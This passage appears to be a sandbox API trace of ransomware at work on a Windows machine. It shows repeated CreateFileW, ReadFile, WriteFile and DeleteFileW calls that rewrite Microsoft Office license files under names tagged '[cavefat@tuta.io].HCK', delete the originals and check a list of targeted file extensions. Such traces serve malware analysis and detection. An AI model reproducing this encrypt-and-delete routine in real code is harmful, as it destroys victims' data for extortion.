(in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0236.982] GetLastError () returned 0x0 [0236.982] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d42, lpOverlapped=0x0) returned 1 [0237.193] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0237.194] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.194] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x108, lpOverlapped=0x0) returned 1 [0237.194] SetEndOfFile (hFile=0x4a0) returned 1 [0237.194] CloseHandle (hObject=0x4a0) returned 1 [0237.194] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.194] SetEndOfFile (hFile=0x4d4) returned 1 [0237.196] CloseHandle (hObject=0x4d4) returned 1 [0237.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1 [0237.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.200] lstrlenW (lpString=".doc") returned 4 [0237.200] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.200] lstrlenW (lpString=".docx") returned 5 [0237.200] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.200] lstrlenW (lpString=".pdf") returned 4 [0237.200] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.200] lstrlenW (lpString=".xls") returned 4 [0237.200] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.200] lstrlenW (lpString=".xlsx") returned 5 [0237.200] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.200] lstrlenW (lpString=".ppt") returned 4 [0237.200] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.200] lstrlenW (lpString=".zip") returned 4 [0237.200] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.200] lstrlenW (lpString=".rar") returned 4 [0237.200] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.200] lstrlenW (lpString=".bz2") returned 4 [0237.200] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.200] lstrlenW (lpString=".7z") returned 3 [0237.200] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.200] lstrlenW (lpString=".dbf") returned 4 [0237.200] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.200] lstrlenW (lpString=".1cd") returned 4 [0237.200] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.200] lstrlenW (lpString=".jpg") returned 4 [0237.201] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.201] lstrlenW (lpString=".doc") returned 4 [0237.201] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.201] lstrlenW (lpString=".docx") returned 5 [0237.201] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.201] lstrlenW (lpString=".pdf") returned 4 [0237.201] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.201] lstrlenW (lpString=".xls") returned 4 [0237.201] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.201] lstrlenW (lpString=".xlsx") returned 5 [0237.201] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.201] lstrlenW (lpString=".ppt") returned 4 [0237.201] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.201] lstrlenW (lpString=".zip") returned 4 [0237.201] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.201] lstrlenW (lpString=".rar") returned 4 [0237.201] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.201] lstrlenW (lpString=".bz2") returned 4 [0237.201] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.201] lstrlenW (lpString=".7z") returned 3 [0237.201] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.201] lstrlenW (lpString=".dbf") returned 4 [0237.201] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.201] lstrlenW (lpString=".1cd") returned 4 [0237.201] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0237.201] lstrlenW (lpString=".jpg") returned 4 [0237.201] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.201] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.201] lstrlenW (lpString="ExcelVL_MAK-pl.xrm-ms") returned 21 [0237.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.202] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=10619) returned 1 [0237.202] CloseHandle (hObject=0x4d4) returned 1 [0237.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220 [0237.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.203] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.203] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.204] GetLastError () returned 0x0 [0237.204] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x297b, lpOverlapped=0x0) returned 1 [0237.205] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2980, lpOverlapped=0x0) returned 1 [0237.206] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.206] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xfe, lpOverlapped=0x0) returned 1 [0237.206] SetEndOfFile (hFile=0x4a0) returned 1 [0237.206] CloseHandle (hObject=0x4a0) returned 1 [0237.207] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.207] SetEndOfFile (hFile=0x4d4) returned 1 [0237.209] CloseHandle (hObject=0x4d4) returned 1 [0237.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1 [0237.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.210] lstrlenW (lpString=".doc") returned 4 [0237.210] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.210] lstrlenW (lpString=".docx") returned 5 [0237.210] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.210] lstrlenW (lpString=".pdf") returned 4 [0237.210] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.210] lstrlenW (lpString=".xls") returned 4 [0237.210] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.210] lstrlenW (lpString=".xlsx") returned 5 [0237.210] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.210] lstrlenW (lpString=".ppt") returned 4 [0237.210] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.210] lstrlenW (lpString=".zip") returned 4 [0237.210] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.210] lstrlenW (lpString=".rar") returned 4 [0237.210] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.210] lstrlenW (lpString=".bz2") returned 4 [0237.210] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.210] lstrlenW (lpString=".7z") returned 3 [0237.211] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.211] lstrlenW (lpString=".dbf") returned 4 [0237.211] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.211] lstrlenW (lpString=".1cd") returned 4 [0237.211] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.211] lstrlenW (lpString=".jpg") returned 4 [0237.211] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.211] lstrlenW (lpString=".doc") returned 4 [0237.211] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString=".docx") returned 5 [0237.211] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.211] lstrlenW (lpString=".pdf") returned 4 [0237.211] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString=".xls") returned 4 [0237.211] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString=".xlsx") returned 5 [0237.211] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.211] lstrlenW (lpString=".ppt") returned 4 [0237.211] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.211] lstrlenW (lpString=".zip") returned 4 [0237.211] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString=".rar") returned 4 [0237.211] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString=".bz2") returned 4 [0237.211] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString=".7z") returned 3 [0237.211] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.211] lstrlenW (lpString=".dbf") returned 4 [0237.211] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.211] lstrlenW (lpString=".1cd") returned 4 [0237.211] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0237.211] lstrlenW (lpString=".jpg") returned 4 [0237.212] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.212] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.212] lstrlenW (lpString="ExcelVL_MAK-ppd.xrm-ms") returned 22 [0237.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.212] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6795) returned 1 [0237.212] CloseHandle (hObject=0x4d4) returned 1 [0237.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220 [0237.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.213] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.213] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.214] GetLastError () returned 0x0 [0237.214] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1a8b, lpOverlapped=0x0) returned 1 [0237.215] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1a90, lpOverlapped=0x0) returned 1 [0237.216] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.216] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x100, lpOverlapped=0x0) returned 1 [0237.216] SetEndOfFile (hFile=0x4a0) returned 1 [0237.216] CloseHandle (hObject=0x4a0) returned 1 [0237.217] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.217] SetEndOfFile (hFile=0x4d4) returned 1 [0237.219] CloseHandle (hObject=0x4d4) returned 1 [0237.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1 [0237.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.220] lstrlenW (lpString=".doc") returned 4 [0237.220] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString=".docx") returned 5 [0237.221] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.221] lstrlenW (lpString=".pdf") returned 4 [0237.221] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString=".xls") returned 4 [0237.221] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString=".xlsx") returned 5 [0237.221] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.221] lstrlenW (lpString=".ppt") returned 4 [0237.221] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.221] lstrlenW (lpString=".zip") returned 4 [0237.221] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString=".rar") returned 4 [0237.221] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString=".bz2") returned 4 [0237.221] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString=".7z") returned 3 [0237.221] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.221] lstrlenW (lpString=".dbf") returned 4 [0237.221] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.221] lstrlenW (lpString=".1cd") returned 4 [0237.221] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.221] lstrlenW (lpString=".jpg") returned 4 [0237.221] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.221] lstrlenW (lpString=".doc") returned 4 [0237.221] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString=".docx") returned 5 [0237.221] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.221] lstrlenW (lpString=".pdf") returned 4 [0237.221] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString=".xls") returned 4 [0237.221] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.221] lstrlenW (lpString=".xlsx") returned 5 [0237.221] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.221] lstrlenW (lpString=".ppt") returned 4 [0237.221] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.222] lstrlenW (lpString=".zip") returned 4 [0237.222] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.222] lstrlenW (lpString=".rar") returned 4 [0237.222] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.222] lstrlenW (lpString=".bz2") returned 4 [0237.222] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.222] lstrlenW (lpString=".7z") returned 3 [0237.222] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.222] lstrlenW (lpString=".dbf") returned 4 [0237.222] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.222] lstrlenW (lpString=".1cd") returned 4 [0237.222] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0237.222] lstrlenW (lpString=".jpg") returned 4 [0237.222] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.222] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.222] lstrlenW (lpString="ExcelVL_MAK-ul-oob.xrm-ms") returned 25 [0237.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.223] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11576) returned 1 [0237.223] CloseHandle (hObject=0x4d4) returned 1 [0237.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220 [0237.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 